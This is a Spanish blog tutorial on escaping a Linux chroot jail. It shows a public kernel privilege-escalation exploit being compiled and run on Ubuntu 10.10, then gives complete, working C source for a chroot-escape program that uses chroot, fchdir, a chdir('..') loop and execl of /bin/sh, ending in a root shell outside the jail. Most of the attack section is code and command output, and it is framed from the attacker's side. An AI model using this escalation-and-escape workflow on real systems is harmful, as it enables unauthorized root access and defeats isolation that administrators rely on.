Anteriormente se ha visto como “enjaular” usuarios en una chrootjail (ver dicha entrada en este blog desde aquí) en donde cada usuario solamente contará con determinadas herramientas y en ningún caso podrá acceder de forma directa a otros directorios que se encuentren fuera de la extensión de la jaula. Así como en la entrada anterior se definió el mecanismo para crear dicho “cerrojo” en esta ocasión se indica como soltarlo y navegar libremente en la estructura real del servidor sin ningún tipo de restricción Aunque cabe aclarar que este es solamente una forma de hacerlo, en realidad es un estudio complejo y pueden existir muchas formas de conseguir el mismo objetivo, pero dependerá de forma directa de la creatividad del atacante.

En ocasiones un atacante consigue comprometer algunos servicios que se prestan de cara al publico (como por ejemplo un servidor web o FTP) sin embargo en muchas ocasiones la ejecución de dichos procesos esta asociada a usuarios enjaulados que tienen acceso solamente a una “sub-estructura” de directorios con acceso limitado a los recursos de la maquina, en estos casos una de las primeras acciones que llevará a cabo un atacante con el fin de salir de la jaula será intentar elevar sus privilegios al usuario “root” del sistema por medio de la ejecución de exploits asociados a vulnerabilidades conocidas del sistema operativo del objetivo, una vez se cuenta con los privilegios del usuario root, no significa que sea posible salir directamente de la jaula por medio de las herramientas disponibles allí, de hecho esta será una de las mayores dificultades dadas las restricciones en términos de herramientas y recursos, sin embargo le brinda la posibilidad al atacante de ejecutar llamadas nativas del sistema que le permitan directamente salir de la jaula y navegar hacia cualquier directorio del servidor además de utilizar los recursos disponibles en la maquina y ejecutar cualquier tipo de programa (siendo root, se pueden hacer muchísimas cosas). A continuación se indica a grandes rasgos el procedimiento empleado para salir de un entorno chrooted:

  1. El primer paso es probablemente el más difícil ya que depende de la configuración que se haya establecido en el jaula y evidentemente varia dependiendo de cada entorno, por esta razón este punto consiste en encontrar vulnerabilidades sobre el sistema objetivo e intentar explotarlas con el fin de elevar los privilegios del usuario enjaulado, para encontrar una vulnerabilidad o un mecanismo adecuado en función del sistema operativo donde se aloja la jaula, se puede buscar en bases de datos de exploits como www.exploit-db.com en la cual existe una buena colección de exploits locales que le permitiran a un atacante escalar sus privilegios.

  2. Una vez escalados los privilegios, es necesario en primer lugar posicionarse en el directorio raíz de la jaula.

  3. Crear un directorio temporal y abrir dicho directorio

  4. Invocar a la función “chroot” sobre dicho directorio, esto es posible realizarlo en este punto ya que se cuenta con los privilegios de root necesarios.

  5. Romper parcialmente la jaula invocando la función fchdir sobre el descriptor del fichero abierto, se dice «parcialmente» debido a que el directorio creado en el paso anterior se encontrará fuera de la jaula (es decir, tiene acceso a otros directorios fuera de la jaula) pero el directorio raíz aun se encuentra dentro de ella, con lo que cualquier invocación sobre “/” se referirá al punto de montaje de la jaula. Una vez ejecutado el comando fchdir es necesario cerrar el descriptor del fichero (directorio).

  6. Desde el directorio creado, se procede a romper por completo la jaula con el uso de llamadas recursivas a la función chdir intentando apuntar al directorio superior (chdir(“..”)) para hacer esto se ejecuta un ciclo que se repetirá N veces buscando llegar hasta el directorio raiz real de sistema, saliendo de esta forma, completamente de la jaula.

  7. El paso final, implica simplemente iniciar una consola interactiva para ingresar comandos como usuario root del sistema utilizando la función “execl”

Ahora, para establecer las bases de lo explicado anteriormente se enseña un ejemplo practico de la metodología anteriormente expuesta.

Escapando de la Jaula

En primer lugar la maquina en la cual se encuentra establecida y configurada la jaula esta bajo una plataforma Ubuntu 10.10 (Maverik) la cual tiene algunas vulnerabilidades que permiten escalar los privilegios de un usuario restringido ejecutando exploits locales sobre el sistema, en este caso concreto, el usuario limitado tiene configurado “sudo” para la ejecución de ciertos comandos como super-administrador, por otro lado el exploit utilizado para escalar los privilegios de root se encuentra documentada aquí: http://www.exploit-db.com/exploits/15944/ este exploit aprovecha una vulnerabilidad de “underflowing” en el espacio de usuario, aprovechando algunos valores estáticos en el interior del kernel los cuales son referenciados por punteros al espacio de trabajo del usuario.

Se compila el exploit escrito en lenguaje C

gcc -w caps-to-root2.c -o caps-to-root2

Posteriormente es necesario transferir el ejecutable a la maquina remota en el directorio donde se encuentra el usuario enjaulado utilizando SFTP, SCP. Después, ingresar al sistema utilizando SSH para conseguir acceso remoto.

>ssh hacker_jailed@192.168.1.35

Una vez se ha conectado el usuario enjaulado a la maquina remota, se procede a la ejecución del exploit de la siguiente forma:

-bash-4.1$ sudo setcap cap_sys_admin+ep caps-to-root2

[sudo] password for hacker_jailed:

-bash-4.1$ ./caps-to-root2

[*] Testing Phonet support and CAP_SYS_ADMIN…

[*] Resolving kernel symbols…

[+] Resolved proto_tab to 0xffffffffa011c290

[+] Resolved local_port_range to 0xffffffffa011c1a0

[+] Resolved pn_proto to 0xffffffffa011bfa0

[+] Resolved commit_creds to 0xffffffff81087410

[+] Resolved prepare_kernel_cred to 0xffffffff810878e0

[*] Preparing fake structures…

[*] Copying Structures.

[*] Elevating privlidges…

[*] This was a triumph… I’m making a note here, huge success.

-bash-4.1$

Hasta este punto, el exploit ha funcionado correctamente y ahora el usuario tiene privilegios de root, sin embargo al encontrarse aun en el entorno chrooted, se encuentra limitado únicamente a las herramientas que se han incluido en la jaula, por este motivo, aunque cuente con los privilegios no puede ejecutar comandos administrativos (ya que no los encuentra en la jaula)

bash-4.1# ps

bash: ps: command not found

bash-4.1# whoami

bash: whoami: command not found

bash-4.1# netstat

bash: netstat: command not found

Ahora es el momento de seguir el mecanismo anteriormente indicado y crear un programa que permita al usuario enjaulado con privilegios de root salir fuera de la jaula. Para esto se indicarán los fragmentos de código de forma independiente (por cada paso del procedimiento) y posteriormente se incluirá el código completo.

  1. Declaración de constantes

    #define FCHDIR 0

    #define TEMP_DIR «iamroot_iamgod»

  2. Declaración de la rutina principal y de las variables utilizadas en el proceso

    int main() {

    /* Indice utilizado para recorrer los directorios superiores */

    int indice;

    /* Descriptor de fichero del directorio temporal */

    #ifdef FCHDIR

    int dir_fd;

    #endif

    struct stat buffer; /* Estructura para la creación del directorio temporal. */

    Como puede apreciarse se ha declarado una estructura del tipo “stat” la cual será util posteriormente para la creación del fichero temporal

  3. Se procede a validar que el directorio no existe y si existe que no se trate de un archivo

    if (stat(TEMP_DIR,&buffer)<0) {

    if (errno==ENOENT) {

    if (mkdir(TEMP_DIR,0755)<0) {

    fprintf(stderr,»Error creando %s – Descripción: %s\n», TEMP_DIR, strerror(errno));

    exit(1);

    }

    } else {

    fprintf(stderr,»Error invocando Stat %s – %s\n», TEMP_DIR, strerror(errno));

    exit(1);

    }

    } else if (!S_ISDIR(buffer.st_mode)) {

    fprintf(stderr,»Error – %s No es un directorio!\n»,TEMP_DIR);

    exit(1);

    }

    Quizá la parte mas interesante de este fragmento de código se encuentra en el uso de la función “stat” que lo que hace es indagar en la ruta indicada en el primer parámetro para obtener información sobre la misma, permitiendo saber si se trata de un enlace simbólico, un fichero, un directorio, si existe, etc. En el caso de que el directorio no exista se procede a crearlo con los privilegios adecuados (0755), en el caso contrario, se verifica que el fichero que ya existe no sea un fichero o un enlace simbólico (tiene que ser un directorio) en el caso de que no sea un directorio se lanza un mensaje de error y finaliza la ejecución del programa.

  4. Se procede a abrir el directorio y obtener el descriptor del mismo

    #ifdef FCHDIR

    if ((dir_fd=open(«.»,O_RDONLY))<0) {

    fprintf(stderr,»Error al abrir el directorio- %s\n», strerror(errno));

    exit(1);

    }

    #endif

    Dado que la constante FCHDIR se encuentra definida (al inicio del programa) se procede con la ejecución de este fragmento de código que intenta abrir el directorio

  5. Se invoca a la función “chroot” sobre el directorio temporal

    if (chroot(TEMP_DIR)<0) {

    fprintf(stderr,»Error %s – %s\n»,TEMP_DIR, strerror(errno));

    exit(1);

    }

    La función “chroot” permite ejecutar un comando o una consola interactiva en un directorio especial para usuarios con privilegios de “root”

  6. Se ejecuta la funcion “fchdir” sobre el directorio y romper parcialmente la jaula

    #ifdef FCHDIR

    if (fchdir(dir_fd)<0) {

    fprintf(stderr,»Error en fchdir – %s\n», strerror(errno));

    exit(1);

    }

    close(dir_fd);

    #endif

    Si la ejecución es exitosa se procede a cerrar el descriptor. La función “fchdir” es ejecutada para establecer el directorio de trabajo del proceso en el directorio indicado en el descriptor “dir_fd”.

  7. Finalmente desde el directorio de trabajo del proceso (el directorio temporal anteriormente creado, se procede a intentar invocar la función “chdir” navegando hacia el directorio padre un número de veces alto esperando llegar al directorio raíz real del sistema. Finalmente se invoca la función chroot(“.”) la cual establece el directorio raíz al actual directorio de trabajo.

    for(indice=0;indice<512;indice++) {

    chdir(«..»);

    }

    chroot(«.»);

  8. Una vez el usuario enjaulado es libre se puede ejecutar inicial una consola con privilegios de root

if (execl(«/bin/sh»,»-i»,NULL)<0) {

fprintf(stderr,»Error en ejecución- %s\n»,strerror(errno));

exit(1);

}

Con todo lo indicado anteriormente se indica el programa completo para salir de la jaula

#include <stdio.h>

#include <errno.h>

#include <fcntl.h>

#include <string.h>

#include <unistd.h>

#include <sys/stat.h>

#include <sys/types.h>

#define FCHDIR 0

#define TEMP_DIR «iamroot_iamgod»

int main() {

/* Indice utilizado para recorrer los directorios superiores */

int indice;

/* Descriptor de fichero del directorio temporal */

#ifdef FCHDIR

int dir_fd;

#endif

struct stat buffer; /* Estructura para la creación del directorio temporal. */

if (stat(TEMP_DIR,&buffer)<0) {

if (errno==ENOENT) {

if (mkdir(TEMP_DIR,0755)<0) {

fprintf(stderr,»Error creando %s – Descripción: %s\n», TEMP_DIR, strerror(errno));

exit(1);

}

} else {

fprintf(stderr,»Error invocando Stat %s – %s\n», TEMP_DIR, strerror(errno));

exit(1);

}

} else if (!S_ISDIR(buffer.st_mode)) {

fprintf(stderr,»Error – %s No es un directorio!\n»,TEMP_DIR);

exit(1);

}

#ifdef FCHDIR

if ((dir_fd=open(«.»,O_RDONLY))<0) {

fprintf(stderr,»Error al abrir el directorio- %s\n», strerror(errno));

exit(1);

}

#endif

if (chroot(TEMP_DIR)<0) {

fprintf(stderr,»Error %s – %s\n»,TEMP_DIR, strerror(errno));

exit(1);

}

#ifdef FCHDIR

if (fchdir(dir_fd)<0) {

fprintf(stderr,»Error en fchdir – %s\n», strerror(errno));

exit(1);

}

close(dir_fd);

#endif

for(indice=0;indice<512;indice++) {

chdir(«..»);

}

chroot(«.»);

if (execl(«/bin/sh»,»-i»,NULL)<0) {

fprintf(stderr,»Error en ejecución- %s\n»,strerror(errno));

exit(1);

}

}

Finalmente para compilar el código anterior se puede utilizar el compilador gcc para compilar el programa y generar el correspondiente ejecutable

>gcc -w breaking_the_law.c -o breaking_the_law

Del mismo modo que se ha transferido el exploit indicado anteriormente, ahora se procede a transferir el fichero ejecutable generado para intentar romper la jaula, una vez transferido dicho fichero se procede con su ejecución

bash-4.1# ./breaking_the_law

# whoami

root

# uname -a

Linux hacker-VirtualBox 2.6.35-30-generic #56-Ubuntu SMP Mon Jul 11 20:01:08 UTC 2011 x86_64 GNU/Linux

# pwd

/

# ls

bin cdrom etc initrd.img lib lib64 media opt root selinux sys usr vmlinuz

boot dev home initrd.img.old lib32 lost+found mnt proc sbin srv tmp var vmlinuz.old

Como puede apreciarse, la ejecución ha sido exitosa, el usuario enjaulado a conseguido salir de la jaula y ahora es libre de ejecutar comandos en la maquina remota con privilegios de root, es en este punto donde comenzará la diversión real del hacker.